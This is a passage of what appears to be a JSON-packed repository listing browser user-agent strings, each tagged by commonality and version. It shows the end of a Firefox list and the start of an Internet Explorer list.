10.7; rv:38.0) Gecko\\/20100101 Firefox\\/38.0\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:6.0.2) Gecko\\/20100101 Firefox\\/6.0.2\"},{\"commonality\":\"Uncommon\",\"version\":\"3.6\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.3) Gecko\\/20100423 Ubuntu\\/10.04 (lucid) Firefox\\/3.6.3\"},{\"commonality\":\"Uncommon\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; Win64; x64; rv:54.0) Gecko\\/20100101 Firefox\\/54.0\"},{\"commonality\":\"Uncommon\",\"version\":\"3.5\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux i686; fr; rv:1.9.1.6) Gecko\\/20100205 Ordissimo\\/0.1 (like Firefox\\/3.5)\"},{\"commonality\":\"Uncommon\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Android 5.1.1; Tablet; rv:58.0) Gecko\\/58.0 Firefox\\/58.0\"},{\"commonality\":\"Uncommon\",\"version\":\"3.5\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.2) Gecko\\/20090729 Firefox\\/3.5.2 GTB5\"},{\"commonality\":\"Uncommon\",\"version\":\"24\",\"ua\":\"Mozilla\\/5.0 (Stop!Hacker!; rv:24.0) Gecko\\/20130524 Firefox\\/24.0\"},{\"commonality\":\"Uncommon\",\"version\":\"13\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64; rv:13.0) Gecko\\/20100101 Firefox\\/13.0.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64; rv:2.2a1pre) Gecko\\/20110324 Firefox\\/4.2a1pre\"},{\"commonality\":\"Uncommon\",\"version\":\"3.6\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.10) Gecko\\/20100922 Ubuntu\\/10.10 (maverick) Firefox\\/3.6.10\"},{\"commonality\":\"Uncommon\",\"version\":\"3\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko\\/2008071615 Fedora\\/3.0.1-1.fc9 Firefox\\/3.0.1\"},{\"commonality\":\"Uncommon\",\"version\":\"5.3\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 9_3_5 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) FxiOS\\/5.3 Mobile\\/13G36 Safari\\/601.1.46\"},{\"commonality\":\"Uncommon\",\"version\":\"14\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; rv:14.0) Gecko\\/20100101 Firefox\\/14.0.1\"},{\"commonality\":\"Uncommon\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (X11; FreeBSD amd64; rv:43.0) Gecko\\/20100101 Firefox\\/43.0\"},{\"commonality\":\"Uncommon\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; WOW64; rv:40.0) Gecko\\/20100101 Firefox\\/40.0\"},{\"commonality\":\"Uncommon\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; rv:38.0) Gecko\\/20100101 Firefox\\/38.0\"},{\"commonality\":\"Uncommon\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:30.0) Gecko\\/20100101 Firefox\\/59.0\"},{\"commonality\":\"Uncommon\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (X11; OpenBSD amd64; rv:58.0) Gecko\\/20100101 Firefox\\/58.0\"},{\"commonality\":\"Uncommon\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Android; Mobile; rv:47.0) Gecko\\/47.0 Firefox\\/47.0\"},{\"commonality\":\"Uncommon\",\"version\":\"3.5\",\"ua\":\"Mozilla\\/3.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.6) Gecko\\/20091201 Firefox\\/3.5.6\"},{\"commonality\":\"Uncommon\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; rv:60.0) Gecko\\/20100101 Firefox\\/60.0\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Mobile; LYF\\/F41T\\/LYF-F41T-000-01-17-310118; Android; rv:48.0) Gecko\\/48.0 Firefox\\/48.0 KAIOS\\/2.0\"},{\"commonality\":\"Uncommon\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; rv:30.0) Gecko\\/20100101 Firefox\\/30.0 ZemanaAID\\/FFFF009F\"},{\"commonality\":\"Uncommon\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; rv:52.0) Gecko\\/20100101 Firefox\\/52.0\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; rv:12.0) Gecko\\/20100101 Firefox\\/12.0\"},{\"commonality\":\"Uncommon\",\"version\":\"16\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko\\/20120623 Firefox\\/16.0.1\"},{\"commonality\":\"Uncommon\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (X11; RemixOS; CrOS x86_64; rv:50.0) Gecko\\/20100101 Firefox\\/50.0\"},{\"commonality\":\"Uncommon\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; rv:36.0) Gecko\\/20100101 Firefox\\/36.0\"},{\"commonality\":\"Uncommon\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Android 5.0.2; Mobile; rv:43.0) Gecko\\/43.0 Firefox\\/43.0\"},{\"commonality\":\"Uncommon\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Android 5.1; Mobile; rv:41.0) Gecko\\/41.0 Firefox\\/41.0\"},{\"commonality\":\"Uncommon\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; WOW64; rv:34.0) Gecko\\/20100101 Firefox\\/34.0\"},{\"commonality\":\"Uncommon\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64; rv:51.0.1) Gecko\\/20100101 Firefox\\/51.0.1\"},{\"commonality\":\"Uncommon\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Android 5.1; Mobile; rv:50.0) Gecko\\/50.0 Firefox\\/50.0\"},{\"commonality\":\"Uncommon\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Android 5.1.1; Mobile; rv:53.0) Gecko\\/53.0 Firefox\\/53.0\"},{\"commonality\":\"Uncommon\",\"version\":\"33\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.10; rv:33.0) Gecko\\/20100101 Firefox\\/33.0\"},{\"commonality\":\"Uncommon\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Android; Mobile; rv:42.0) Gecko\\/42.0 Firefox\\/42.0\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 9_3_5 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) FxiOS\\/8.3b5826 Mobile\\/13G36 Safari\\/601.1.46\"},{\"commonality\":\"Uncommon\",\"version\":\"13\",\"ua\":\"Mozilla\\/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko\\/20100101 Firefox\\/13.0\"},{\"commonality\":\"Uncommon\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (X11; Fedora; Linux x86_64; rv:37.0) Gecko\\/20100101 Firefox\\/37.0\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko\\/20100101 Firefox\\/6.0\"},{\"commonality\":\"Uncommon\",\"version\":\"24\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64; rv:24.0) Gecko\\/20100101 Firefox\\/24.0\"},{\"commonality\":\"Uncommon\",\"version\":\"16\",\"ua\":\"Mozilla\\/5.0 (X11: Ubuntu; Linux x86_64; rv:16.0; Rover) Gecko\\/20100101 Firefox\\/16.0\"},{\"commonality\":\"Uncommon\",\"version\":\"33\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686; rv:33.0) Gecko\\/20100101 Firefox\\/33.0\"},{\"commonality\":\"Uncommon\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; rv:30.0) Gecko\\/20100101 Firefox\\/57.0\"},{\"commonality\":\"Uncommon\",\"version\":\"3.6\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko\\/20101203 Firefox\\/3.6.13 (.NET CLR 3.5.30729)\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; rv:7.0) Gecko\\/20110814 Firefox\\/7.0\"},{\"commonality\":\"Uncommon\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko\\/20100101 Firefox\\/50.0\"},{\"commonality\":\"Uncommon\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64; rv:16.0.1) Gecko\\/20121011 Firefox\\/58.0\"},{\"commonality\":\"Uncommon\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Android 5.0.1; Mobile; rv:57.0) Gecko\\/57.0 Firefox\\/57.0\"},{\"commonality\":\"Uncommon\",\"version\":\"33\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64; rv:33.0) Gecko\\/20100101 Firefox\\/33.0\"},{\"commonality\":\"Uncommon\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.2; WOW64; rv:43.0) Gecko\\/20100101 Firefox\\/43.0\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Mobile; LYF\\/F41T\\/LYF-F41T-000-01-15-221217; Android; rv:48.0) Gecko\\/48.0 Firefox\\/48.0 KAIOS\\/2.0\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_1_2 like Mac OS X) AppleWebKit\\/604.3.5 (KHTML, like Gecko) FxiOS\\/10.3b7934 Mobile\\/15B202 Safari\\/604.3.5\"},{\"commonality\":\"Uncommon\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko\\/20100101 Firefox\\/49.0 Cyberfox\\/49.0\"},{\"commonality\":\"Uncommon\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Android 4.2.2; Tablet; rv:54.0) Gecko\\/54.0 Firefox\\/54.0\"},{\"commonality\":\"Uncommon\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Android 4.4.2; Tablet; rv:53.0) Gecko\\/53.0 Firefox\\/53.0\"},{\"commonality\":\"Uncommon\",\"version\":\"16\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; rv:16.0) Gecko\\/20100101 Firefox\\/16.0\"},{\"commonality\":\"Uncommon\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64; rv:30.0) Gecko\\/20100101 Firefox\\/30.0\"},{\"commonality\":\"Uncommon\",\"version\":\"3.6\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.22) Gecko\\/20110902 Firefox\\/3.6.22 FBSMTWB\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; rv:40.0) Gecko\\/20100101 Firefox\\/48.0\"},{\"commonality\":\"Uncommon\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.9; rv:59.0) Gecko\\/20100101 Firefox\\/59.0\"},{\"commonality\":\"Uncommon\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Android 5.1.1; Mobile; rv:58.0) Gecko\\/58.0 Firefox\\/58.0\"},{\"commonality\":\"Uncommon\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (Android 6.0; Mobile; rv:59.0) Gecko\\/59.0 Firefox\\/59.0\"},{\"commonality\":\"Uncommon\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Android 4.4.2; Tablet; rv:43.0) Gecko\\/43.0 Firefox\\/43.0\"},{\"commonality\":\"Uncommon\",\"version\":\"3.6\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.3) Gecko\\/20100401 Firefox\\/3.6.3\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10.7; rv:6.0.2) Gecko\\/20100101 Firefox\\/6.0.2\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (Ubuntu; X11; Linux i686; rv:9.0.1) Gecko\\/20100101 Firefox\\/9.0.1\"},{\"commonality\":\"Uncommon\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Android 5.1; Mobile; rv:57.0) Gecko\\/57.0 Firefox\\/57.0\"},{\"commonality\":\"Uncommon\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Android 5.1.1; Tablet; rv:52.0) Gecko\\/52.0 Firefox\\/52.0\"},{\"commonality\":\"Uncommon\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (Android 7.0; Tablet; rv:55.0) Gecko\\/55.0 Firefox\\/55.0\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (Ubuntu; X11; Linux x86_64; rv:9.0.1) Gecko\\/20100101 Firefox\\/9.0.1\"},{\"commonality\":\"Uncommon\",\"version\":\"3.6\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux i686; it; rv:1.9.2.3) Gecko\\/20100406 Firefox\\/3.6.3 (Swiftfox)\"},{\"commonality\":\"Uncommon\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; rv:56.0) Gecko\\/20100101 Firefox\\/56.0\"},{\"commonality\":\"Uncommon\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Android 4.4.2; Tablet; rv:44.0) Gecko\\/44.0 Firefox\\/44.0\"},{\"commonality\":\"Uncommon\",\"version\":\"1.0\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.12) Gecko\\/20050915 Firefox\\/1.0.7\"},{\"commonality\":\"Uncommon\",\"version\":\"3.6\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.4410) Gecko\\/20110902 Firefox\\/3.6\"},{\"commonality\":\"Uncommon\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Android; Tablet; rv:51.0) Gecko\\/51.0 Firefox\\/51.0\"},{\"commonality\":\"Uncommon\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64; rv:50.0) Gecko\\/20100101 Firefox\\/50.0 Cyberfox\\/50.1.0\"}]"
  },
  {
    "path": "User Agents/json/internet-explorer.json",
    "content": "[{\"commonality\":\"Very common\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 9.0; Windows NT 6.1)\"},{\"commonality\":\"Very common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; rv:11.0) like Gecko\"},{\"commonality\":\"Very common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Trident\\/7.0; rv:11.0) like Gecko\"},{\"commonality\":\"Very common\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident\\/5.0)\"},{\"commonality\":\"Very common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; Trident\\/7.0; rv:11.0) like Gecko\"},{\"commonality\":\"Very common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64; Trident\\/7.0; rv:11.0) like Gecko\"},{\"commonality\":\"Very common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; Trident\\/7.0; rv:11.0) like Gecko\"},{\"commonality\":\"Very common\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident\\/5.0)\"},{\"commonality\":\"Very common\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident\\/5.0)\"},{\"commonality\":\"Very common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64; Trident\\/7.0; rv:11.0) like Gecko\"},{\"commonality\":\"Very common\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident\\/6.0)\"},{\"commonality\":\"Very common\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident\\/6.0)\"},{\"commonality\":\"Very common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; Trident\\/7.0; Touch; rv:11.0) like Gecko\"},{\"commonality\":\"Very common\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident\\/6.0)\"},{\"commonality\":\"Very common\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\"},{\"commonality\":\"Very common\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0)\"},{\"commonality\":\"Very common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; Trident\\/7.0; Touch; rv:11.0) like Gecko\"},{\"commonality\":\"Very common\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; Media Center PC 6.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Very common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; Trident\\/7.0; rv:11.0) like Gecko\"},{\"commonality\":\"Very common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; Win64; x64; Trident\\/7.0; rv:11.0) like Gecko\"},{\"commonality\":\"Very common\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.0; WOW64; Trident\\/5.0)\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)\"},{\"commonality\":\"Common\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident\\/5.0)\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; MDDSJS; rv:11.0) like Gecko\"},{\"commonality\":\"Common\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; AS; rv:11.0) like Gecko\"},{\"commonality\":\"Common\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729)\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident\\/7.0)\"},{\"commonality\":\"Common\",\"version\":\"6\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; ARM; Trident\\/7.0; Touch; rv:11.0) like Gecko\"},{\"commonality\":\"Common\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident\\/5.0; Xbox)\"},{\"commonality\":\"Common\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729)\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Trident\\/7.0; rv:11.0) like Gecko\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident\\/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\"},{\"commonality\":\"Common\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Trident\\/6.0)\"},{\"commonality\":\"Common\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\"},{\"commonality\":\"Common\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.2; WOW64; Trident\\/7.0)\"},{\"commonality\":\"Common\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2)\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; WOW64; Trident\\/7.0; rv:11.0) like Gecko\"},{\"commonality\":\"Common\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0)\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64; Trident\\/7.0; rv:11.0) like Gecko\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; WOW64; Trident\\/7.0; rv:11.0) like Gecko\"},{\"commonality\":\"Common\",\"version\":\"6\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)\"},{\"commonality\":\"Common\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)\"},{\"commonality\":\"Common\",\"version\":\"7\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.0)\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.3; WOW64; Trident\\/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Common\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident\\/6.0)\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64; Trident\\/7.0; rv:11.0) like Gecko\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Trident\\/7.0; rv:11.0) like Gecko\"},{\"commonality\":\"Common\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64; Trident\\/7.0; Touch; rv:11.0) like Gecko\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; yie11; rv:11.0) like Gecko\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; Trident\\/7.0; TNJB; rv:11.0) like Gecko\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Trident\\/7.0)\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Trident\\/7.0; Touch; rv:11.0) like Gecko\"},{\"commonality\":\"Common\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; MDDRJS)\"},{\"commonality\":\"Common\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; CMDTDFJS; F9J; InfoPath.3)\"},{\"commonality\":\"Common\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/7.0; SLCC2; Media Center PC 6.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Common\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)\"},{\"commonality\":\"Common\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)\"},{\"commonality\":\"Common\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident\\/6.0; ASU2JS)\"},{\"commonality\":\"Common\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1)\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; Trident\\/7.0; LCJB; rv:11.0) like Gecko\"},{\"commonality\":\"Common\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; 